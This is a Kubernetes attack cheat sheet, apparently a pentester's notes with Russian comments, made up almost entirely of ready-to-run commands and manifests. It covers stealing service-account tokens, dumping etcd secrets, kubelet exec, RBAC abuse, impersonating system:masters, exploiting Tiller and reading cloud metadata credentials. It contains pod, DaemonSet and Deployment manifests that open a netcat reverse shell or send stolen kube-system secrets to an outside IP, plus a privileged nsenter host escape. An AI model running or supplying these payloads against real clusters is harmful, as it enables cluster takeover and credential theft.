kubectl get secrets

kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify=true

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
# Лишняя строка, но можно использовать с curl --cacert ${CACERT}
# export CACERT=${SERVICEACCOUNT}/ca.crt

curl -k --header "Authorization: Bearer ${TOKEN}" https://${APISERVER}/path

kubectl config view

kubectl config get-users
kubectl config view -o jsonpath='{.users[*].name}'

kubectl config unset users.foo

kubectl config get-contexts

kubectl config current-context

kubectl config use-context my-cluster-name

kubectl config set-context --current --namespace=ggckad-s2

k8s.*

apiVersion: v1
kind: Pod
metadata:
  name: bad-priv2
  namespace: kube-system
spec:
  containers:
  - name: bad
    hostPID: true
    image: gcr.io/shmoocon-talk-hacking/brick
    stdin: true
    tty: true
    imagePullPolicy: IfNotPresent
    volumeMounts:
      - mountPath: /chroot
        name: host
    command: ["/bin/sh"]
    args: ["-c", 'nc -e /bin/bash 192.168.154.228 6666; sleep 100000']
  securityContext:
    privileged: true
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory

/run/secrets/kubernetes.io/serviceaccount
/var/run/secrets/kubernetes.io/serviceaccount
/secrets/kubernetes.io/serviceaccount

(env | set) | grep -i "kuber|kube"

etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only

curl http://<MASTER-IP>:2379/v2/keys

ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir

docker ps
docker exec -it container_name /bin/bash
etcdctl get / --prefix --keys-only

strings /var/lib/etcd/member/snap/db | less

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default

nmap -sV -v -p 30000-32767 <IP>

/swaggerapi
/healthz
/api/v1

http://<external-IP>:10255/pods

curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods

curl -Gks https://worker:10250/exec/{namespace}/{pod}/{container} -d 'input=1' -d 'output=1' -d 'tty=1' -d 'command=ls' -d 'command=/

# Весь список привилегий
kubectl get rolebindings,clusterrolebindings --all-namespaces -o custom-columns='KIND:kind,NAMESPACE:metadata.namespace,NAME:metadata.name,SERVICE_ACCOUNTS:subjects[?(@.kind=="ServiceAccount")].name' | grep service_account_name

curl -s $APISERVER/apis/rbac.authorization.k8s.io/v1/clusterrolebindings?limit=500 --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt
# удачи парсить:)

kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml

# Текущие привилегии
kubectl auth can-i --list
## use `--as=system:serviceaccount:<namespace>:<sa_name>` to impersonate a service account

# Список ролей кластера
kubectl get clusterroles
kubectl describe clusterroles

# Список Cluster Roles Bindings
kubectl get clusterrolebindings
kubectl describe clusterrolebindings

# Список ролей
kubectl get roles
kubectl describe roles

# Список Role Buildings
kubectl get rolebindings
kubectl describe rolebindings

kubectl get services
kubectl get svc

kubectl api-resources --namespaced=true
kubectl api-resources --namespaced=false

kubectl get roles

curl -s "$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500" --header "Authorization: Bearer $TOKEN" -k

kubectl get clusterroles

curl -s "$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500" --header "Authorization: Bearer $TOKEN" -k

kubectl get namespaces

curl -s "$APISERVER/api/v1/namespaces/" --header "Authorization: Bearer $TOKEN" -k

kubectl get serviceaccounts

curl -s $APISERVER/api/v1/namespaces/default/serviceaccounts/ --header "Authorization: Bearer $TOKEN" -k

kubectl get nodes

curl -s $APISERVER/api/v1/nodes/ --header "Authorization: Bearer $TOKEN" -k

kubectl get secrets

curl -s $APISERVER/api/v1/secrets/ --header "Authorization: Bearer $TOKEN" -k

curl -s $APISERVER/api/v1/namespaces/kube-system/secrets/ --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt

drakylalr-admin-token-sgjbp

kubectl get secrets secret_name -o yaml

curl -s $APISERVER/api/v1/namespaces/default/secrets/drakylar-admin-token-sgjbp --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt

kubectl logs pod_name

kubectl logs pod_name
kubectl logs pod_name --tail=2

/host-mounted/var/log/sym -> /

https://<gateway>:10250/logs/sym/

kubectl get pods

curl -v -s $APISERVER/api/v1/namespaces/<namespace>/pods/ --header "Authorization: Bearer $TOKEN" -k

kubectl port-forward pod/mypod 5000:5000

apiVersion: v1
kind: Pod
metadata:
  name: alpine
  namespace: kube-system
spec:
  containers:
  - name: alpine
    image: alpine
    command: ["/bin/sh"]
    args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
    volumeMounts:
    - mountPath: /host
      name: host-volume
  restartPolicy: Never
  hostIPC: true
  hostNetwork: true
  hostPID: true
  serviceAccountName: bootstrap-signer
  automountServiceAccountToken: true
  volumes:
  - name: host-volume
    hostPath:
      path: /

kubectl apply -f malicious-pod.yaml

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

{
    "apiVersion": "v1",
    "kind": "Pod",
    "metadata": {
        "name": "alpine"
    },
    "spec": {
        "restartPolicy": true,
        "hostIPC": true,
        "hostNetwork": true,
        "hostPID": true,
        "volumes": [
            {
                "name": "host-volume",
                "hostPath": {
                    "path": "/"
                }
            }
        ],
        "containers": [
            {
                "name": "alpine",
                "image": "alpine",
                "commands": ["/bin/sh"],
                "args": ["-c", "apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000"],
                "serviceAccountName" : "bootstrap-signer",
                "automountServiceAccountToken": true,
                "hostNetwork": true,
                "imagePullPolicy": "IfNotPresent",
                "securityContext": {
                    "allowPrivilegeEscalation": true,
                    "privileged": true,
                    "runAsUser": 0
                },
                "volumesMount": [
                    {
                        "mountPath": "/host",
                        "name": "host-volume"
                    }
                ]                  
            }
        ]
    }
}

curl -v -s $APISERVER/api/v1/namespaces/default/pods -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json

kubectl exec --stdin --tty shell-demo -n pod_namespace -- /bin/bash

kubectl get daemonsets

curl -v -s $APISERVER/apis/apps/v1/namespaces/kube-system/daemonsets?fieldManager=kubectl-client-side-apply --header "Authorization: Bearer $TOKEN" -k 
curl -v -s $APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets --header "Authorization: Bearer $TOKEN" -k

apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: alpine
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: alpine
  template:
    metadata:
      labels:
        name: alpine
    spec:
      serviceAccountName: bootstrap-signer
      automountServiceAccountToken: true
      hostNetwork: true
      containers:
      - name: alpine
        image: alpine
        command: ["/bin/sh"]
        args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']

kubectl apply -f malicious-pod.yaml

{
  "apiVersion": "apps/v1",
  "kind": "DaemonSet",
  "metadata": {
    "name": "alpine",
    "namespace": "kube-system"
  },
  "spec": {
    "selector": {
      "matchLabels": {
        "name": "alpine"
      }
    },
    "template": {
      "metadata": {
        "labels": {
          "name": "alpine"
        }
      },
      "spec": {
        "serviceAccountName": "bootstrap-signer",
        "automountServiceAccountToken": true,
        "hostNetwork": true,
        "containers": [
          {
            "name": "alpine",
            "image": "alpine",
            "command": [
              "/bin/sh"
            ],
            "args": [
              "-c",
              "apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000"
            ]
          }
        ]
      }
    }
  }
}

curl -v -s $APISERVER/apis/apps/v1/namespaces/kube-system/daemonsets?fieldManager=kubectl-client-side-apply -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json

kubectl get deployments
kubectl get deployments -n custnamespace

curl -v -s $APISERVER/api/v1/namespaces/<namespace>/deployments/ --header "Authorization: Bearer $TOKEN" -k

apiVersion: apps/v1
kind: Deployment
metadata:
  name: alpine
  namespace: kube-system
spec:
  replicas: 1
  selector:
    matchLabels:
      app: alpine
  template:
    metadata:
      labels:
        app: alpine
    spec:
      serviceAccountName: bootstrap-signer
      automountServiceAccountToken: true
      hostNetwork: true
      containers:
      - name: alpine
        image: alpine
        command: ["/bin/sh"]
        args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']

kubectl apply -f malicious-deployment.yaml

{
  "apiVersion": "apps/v1",
  "kind": "Deployment",
  "metadata": {
    "name": "alpine",
    "namespace": "kube-system"
  },
  "spec": {
    "replicas": 1,
    "selector": {
      "matchLabels": {
        "app": "alpine"
      }
    },
    "template": {
      "metadata": {
        "labels": {
          "app": "alpine"
        }
      },
      "spec": {
        "serviceAccountName": "bootstrap-signer",
        "automountServiceAccountToken": true,
        "hostNetwork": true,
        "containers": [
          {
            "name": "alpine",
            "image": "alpine",
            "command": [
              "/bin/sh"
            ],
            "args": [
              "-c",
              "apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000"
            ]
          }
        ]
      }
    }
  }
}

curl -v -s $APISERVER/apis/apps/v1/namespaces/kube-system/deployments?fieldManager=kubectl-client-side-apply -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json

kubectl get cronjobs

curl -v -s $APISERVER/apis/batch/v1/namespaces/default/cronjobs --header "Authorization: Bearer $TOKEN" -k 
curl -v -s $APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs --header "Authorization: Bearer $TOKEN" -k

apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: malicious-rolebinding
  namespaces: default
roleRef:
  apiGroup: '*'
  kind: ClusterRole
  name: admin
subjects:
  - kind: ServiceAccount
    name: sa-comp
    namespace: default

kubectl apply -f malicious-rolebinding.yaml

{
    "apiVersion": "rbac.authorization.k8s.io/v1",
    "kind": "RoleBinding",
    "metadata": {
        "name": "malicious-rolebinding",
        "namespaces": "default"
    },
    "roleRef": {
        "apiGroup": "*",
        "kind": "ClusterRole",
        "name": "admin"
    },
    "subjects": [
        {
            "kind": "ServiceAccount",
            "name": "sa-comp",
            "namespace": "default"
        }
    ]
}

curl -v -s $APISERVER/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings -H "Content-Type: application/json" -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json

kubectl get secrets --as=superman --as-group=system:masters

curl -v -s $APISERVER/api/v1/namespaces/kube-system/secrets/ --header "Authorization: Bearer $TOKEN" -H "Impersonate-Group: system:masters" -H "Impersonate-User: null" -k

Impersonate-User: jane.doe@example.com
Impersonate-Group: developers
Impersonate-Group: admins

Impersonate-User: jane.doe@example.com
Impersonate-Extra-dn: cn=jane,ou=engineers,dc=example,dc=com
Impersonate-Extra-acme.com%2Fproject: some-project
Impersonate-Extra-scopes: view
Impersonate-Extra-scopes: development
Impersonate-Uid: 06f6ce97-e2c5-4ab8-7ba5-7654dd08d52b

curl -k https://<IP Address>:4194

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

nmap -sV -v -p 44134 <subnet>

helm --host tiller-deploy.kube-system:44134 version

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn/pwnchart

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/